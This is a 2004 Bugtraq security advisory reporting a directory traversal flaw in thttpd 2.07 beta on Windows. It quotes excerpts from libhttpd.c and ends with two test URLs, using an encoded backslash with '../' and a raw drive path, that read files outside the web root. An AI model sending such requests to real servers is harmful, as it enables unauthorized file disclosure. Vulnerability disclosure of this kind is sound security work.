[35961] in bugtraq
Bug@thttpd
daemon@ATHENA.MIT.EDU (CoolICE)
Wed Aug 4 16:05:00 2004
Date: Wed, 4 Aug 2004 16:02:44 +0800
From: "CoolICE" <CoolICE@China.com>
Reply-To: CoolICE@China.com
To: "webmaster" <webmaster@acme.com>
Cc: "bugtraq" <bugtraq@securityfocus.com>,
"full-disclosure" <full-disclosure@lists.netsys.com>,
"list" <list@securiteam.com>
Mime-Version: 1.0
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: 7bit
Message-ID: <y5959195844254.18918@mx2>
Application: thttpd
Vendors: http://www.acme.com/software/thttpd/
Version: 2.07 beta 0.4 10dec99
Platforms: Windows
Bug: Directory Traversal
Date: 2004-08-04
Author: CoolICE
e-mail: CoolICE#China.com
================
Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
if ( hc->decodedurl[0] != '/' )
{
httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
return -1;
}
static int
really_start_request( httpd_conn* hc )
[...]
if ( stat( hc->expnfilename, &hc->sb ) < 0 )
{
httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
return -1;
}
------------------
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini
